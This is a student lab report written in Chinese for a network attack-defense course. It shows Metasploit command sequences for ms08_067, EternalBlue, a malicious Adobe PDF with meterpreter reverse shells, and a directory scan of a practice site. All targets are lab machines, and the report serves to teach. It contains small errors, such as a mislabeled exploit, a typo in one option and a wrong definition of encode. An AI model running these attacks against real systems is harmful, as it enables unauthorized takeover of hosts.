20165218 《网络对抗技术》 Exp5 MSF基础应用

Exp5 MSF基础应用

实践内容

  • 主动攻击:ms08_067
    • exploit/windows/smb/ms08_067_netapi
    • generic/shell_reverse_tcp
  • 针对浏览器攻击:ms11_050
    • exploit/windows/smb/ms17_010_eternalblue
    • generic/shell_reverse_tcp
  • 针对Adobe阅读器的攻击
    • windows/fileformat/adobe_cooltype_sing
    • windows/meterpreter/reverse_tcp
  • 辅助模块(唯一)
    • auxiliary/scanner/http/dir_scanner

实践总结

基础问题回答:用自己的话解释什么是exploit,payload,encode.

很显然这三个是由大到小的层次关系,exploit是如何利用这个漏洞的代码,payload是攻击漏洞成功以后的功能代码,encode又是payload里的核心代码

总结与体会

想要做出一个完美的计算机系统几乎是不可能的,只能不断完善,臻于完美。

离实战还缺什么技术或步骤

攻击者计算机和受害者计算机都是在桥接模式下ping通的,也就是内网内互通,而实际情况很多时候都要针对外网进行攻击。


实践过程记录

主动攻击 ms08_067
什么是ms08_067

MS08_67漏洞是2008年年底爆出的一个特大漏洞,存在与当时所有的微软系统,杀伤力超强。其原理是攻击者利用受害主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

使用设备

靶机:Win2kServer_SP0_target 10.1.1.119
漏洞:exploit/windows/smb/ms08_067_netapi
payload : generic/shell_reverse_tcp

攻击步骤
  • 将Kali和靶机都改为桥接模式,ping通

  • msfconsole进入msf控制台

  • 搜索相关模块,找到对应的攻击模块exploit/windows/smb/ms08_067_netapi,可知这是一个针对windows-smb的攻击模块

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。

  • info命令查看exploit/windows/smb/ms08_067_netapi的相关信息,比如存在该漏洞的目标主机类型、基础设置等


445端口是SMB服务端口

  • 选择漏洞,搜索靶机可用端口
use exploit/windows/smb/ms08_067_netapi   //选择漏洞
show options                              // 显示设置
set RHOSTS 10.1.1.119                     //设置靶机IP
search portscan                           //扫描端口,查找可用模块
use auxiliary/scanner/portscan/tcp        //使用auxiliary/scanner/portscan/tcp模块
show options
set RHOSTS 10.1.1.119                     //设置IP
exploit


  • 445端口已开放

  • 查看可用payload,选择一般类的(generic),tcp回连

use exploit/windows/smb/ms08_067_netapi
show payloads

  • 配置端口等信息
set payload generic/shell_reverse_tcp
show options
set LHOST 10.1.1.178   //kali的ip

  • exploit进行渗透攻击

针对浏览器攻击 ms11_050
使用设备

靶机:Windows Server 2008 x64 10.1.1.240
漏洞:exploit/windows/smb/ms17_010_eternalblue
payload : generic/shell_reverse_tcp

攻击步骤
  • 两主机设置成桥接模式,ping通

  • msfconsole 进入控制台

  • search ms11_050 搜索漏洞

  • use exploit/windows/smb/ms17_010_eternalblue 选择exploit/windows/smb/ms17_010_eternalblue模块

“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

  • info查看相关信息,可以看到存在该漏洞的靶机有win7或者win2008server,这里选取Win 2008 Server作为靶机
Available targets:
  Id  Name
  --  ----
  0   Windows 7 and Server 2008 R2 (x64) All Service Packs

  • show payloads 查看载荷,这里依旧选用了generic/shell_reverse_tcp载荷

  • 配置
set payload generic/shell_reverse_tcp
show options
set RHOSTS 10.1.1.240
set LOST 10.1.1.178
show options

  • exploit 攻击


针对Adobe的攻击
使用设备

靶机:WinXPattacker 10.1.1.200
漏洞:windows/fileformat/adobe_cooltype_sing
payload : windows/meterpreter/reverse_tcp

攻击步骤
  • 保证两台主机互相ping通

  • search adobe

  • use windows/fileformat/adobe_cooltype_sing

  • info 命令查看一下漏洞信息

漏洞存在于Adobe Reader 8.2.4到9.3.4之间的版本,在CoolType.dll库中处理字体文件SING( Smart INdependent Glyplets)表中uniqueName项时存在栈溢出漏洞。

  • show payloads
  • set payload windows/meterpreter/reverse_tcp 设置载荷
  • 配置IP和端口等

生成文件名为msf.pdf,kali回连监听的端口为4444

  • exploit 生成文件。并将文件拷贝到WinXP。
  • 进入监听模块并配置信息
back                                           //退出当前模块
use exploit/multi/handler                      //进入监听模块
set payload windows/meterpreter/reverse_tcp    //设置载荷
set LHOST 10.1.1.178                           
set LPORT 4444                                 //配置监听的ip和端口
show option                                    //查看设置是否正确

  • exploit 开始监听。WinXP运行msf.pdf,可以看到Kali已经回连成功。

辅助模块 dir_scanner
什么是dir_scanner

用暴力猜解的方式探索网站目录结构,找到隐藏目录,不一定能猜解出全部的目录。

攻击步骤
  • 进入路径/usr/share/metasploit-framework/modules/auxiliary

  • 查看所有辅助模块分类,选择scanner,进入http分类

  • cat dir_scanner.rb查看模块源代码

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'thread'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::WmapScanDir
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'   		=> 'HTTP Directory Scanner',
      'Description'	=> %q{
        This module identifies the existence of interesting directories
        in a given directory path.
      },
      'Author' 		=> [ 'et [at] metasploit.com' ],
      'License'		=> BSD_LICENSE))

    register_options(
      [
        OptString.new('PATH', [ true,  "The path  to identify files", '/']),
        OptPath.new('DICTIONARY',   [ false, "Path of word dictionary to use",
            File.join(Msf::Config.data_directory, "wmap", "wmap_dirs.txt")
          ]
        )

      ])

    register_advanced_options(
      [
        OptInt.new('ErrorCode', [ false, "Error code for non existent directory" ]),
        OptPath.new('HTTP404Sigs',   [ false, "Path of 404 signatures to use",
            File.join(Msf::Config.data_directory, "wmap", "wmap_404s.txt")
          ]
        ),
        OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]),
        OptInt.new('TestThreads', [ true, "Number of test threads", 25])

      ])

  end

  def run_host(ip)
    conn = true
    ecode = nil
    emesg = nil

    tpath = normalize_uri(datastore['PATH'])
    if tpath[-1,1] != '/'
      tpath += '/'
    end

    ecode = datastore['ErrorCode'].to_i
    vhost = datastore['VHOST'] || wmap_target_host
    prot  = datastore['SSL'] ? 'https' : 'http'


    if (ecode == 0)
      # Then the user didn't specify one, go request a (probably)
      # nonexistent file to detect what to use.
      begin
        #
        # Detect error code
        #
        print_status("Detecting error code")
        randdir = Rex::Text.rand_text_alpha(5).chomp + '/'
        res = send_request_cgi({
          'uri'  		=>  tpath+randdir,
          'method'   	=> 'GET',
          'ctype'		=> 'text/html'
        }, 20)

        return if not res

        tcode = res.code.to_i

        # Look for a string we can signature on as well
        if(tcode >= 200 and tcode <= 299)

          File.open(datastore['HTTP404Sigs'], 'rb').each do |str|
            if(res.body.index(str))
              emesg = str
              break
            end
          end

          if(not emesg)
            print_status("Using first 256 bytes of the response as 404 string for #{wmap_target_host}")
            emesg = res.body[0,256]
          else
            print_status("Using custom 404 string of '#{emesg}' for #{wmap_target_host}")
          end
        else
          ecode = tcode
          print_status("Using code '#{ecode}' as not found for #{wmap_target_host}")
        end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        conn = false
      rescue ::Timeout::Error, ::Errno::EPIPE
      end
    end

    return if not conn

    nt = datastore['TestThreads'].to_i
    nt = 1 if nt == 0

    dm = datastore['NoDetailMessages']

    queue = []
    File.open(datastore['DICTIONARY'], 'rb').each_line do |testd|
      queue << testd.strip + '/'
    end

    while(not queue.empty?)
      t = []
      1.upto(nt) do
        t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, queue.shift) do |testf|
          Thread.current.kill if not testf

          testfdir = testf
          res = send_request_cgi({
            'uri'  		=>  tpath+testfdir,
            'method'   	=> 'GET',
            'ctype'		=> 'text/html'
          }, 20)


          if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg))))
            if dm == false
              print_status("NOT Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")
            end
          else

            report_web_vuln(
              :host	=> ip,
              :port	=> rport,
              :vhost  => vhost,
              :ssl    => ssl,
              :path	=> "#{tpath}#{testfdir}",
              :method => 'GET',
              :pname  => "",
              :proof  => "Res code: #{res.code.to_s}",
              :risk   => 0,
              :confidence   => 100,
              :category     => 'directory',
              :description  => 'Directoy found.',
              :name   => 'directory'
            )

            print_good("Found #{wmap_base_url}#{tpath}#{testfdir} #{res.code} (#{wmap_target_host})")

            if res.code.to_i == 401
              print_status("#{wmap_base_url}#{tpath}#{testfdir} requires authentication: #{res.headers['WWW-Authenticate']}")

              report_note(
                :host	=> ip,
                :port	=> rport,
                :proto => 'tcp',
                :sname	=> (ssl ? 'https' : 'http'),
                :type	=> 'WWW_AUTHENTICATE',
                :data	=> "#{tpath}#{testfdir} Auth: #{res.headers['WWW-Authenticate']}",
                :update => :unique_data
              )

            end
          end

        end
      end
      t.map{|x| x.join }
    end
  end
end

  • msfconsole 进入控制台
  • 配置并使用dir_scanner辅助模块
use auxiliary/scanner/http/dir_scanner
set THREADS 50   //线程
set RHOSTS www.testfire.net
show options

testfire网站由IBM公司发布,旨在证明IBM产品在检测Web应用程序漏洞和网站缺陷方面的有效性,网站不是真正的银行网站,所以可用来做渗透测试练手的地方,也就是咱们俗称的“靶场”。但前提是必须把握测试范围,像DNS服务器、C段主机等这类就必须剔除在外,只能针对靶场所涉及的直接资产范围内进行练习。

  • exploit

dir_scanner辅助模块发现了网站的一个隐藏目录admin,返回302(重定向)

从理论上说,对“302”错误,搜索引擎认为该网页是存在的,只不过临时改变了地址,仍然会索引收录该页


遇到的问题及解决方案

  • Kali改为桥接模式以后,无法获取ip地址

    • 检查VMware桥接的网卡选择是否正确,虚拟网络编辑器的VMnet0应“桥接到”与本机网卡地址一致

    • cat /etc/resolv.conf 检查DNS服务器,nameserver后面的ip地址应该与本机路由器ip一致

    • cat /etc/network/interfaces 检查默认网络信息配置文件,是否与下图一致,不一致则手动输入更改

    • /etc/init.d/networking restart 重启网络配置

    • 成功获取ip


参考资料

[1] 解决kali桥接模式无法上网 - CSDN
[2] MSF基础命令新手指南 - 简书
[3] testfire.net 网站渗透记录 - 腾讯云
[4] 404错误返回302和200代码原因,搜外师兄的解决办法 - 简书

posted @ 2019-04-20 18:39  zicerain  阅读(292)  评论(0编辑  收藏  举报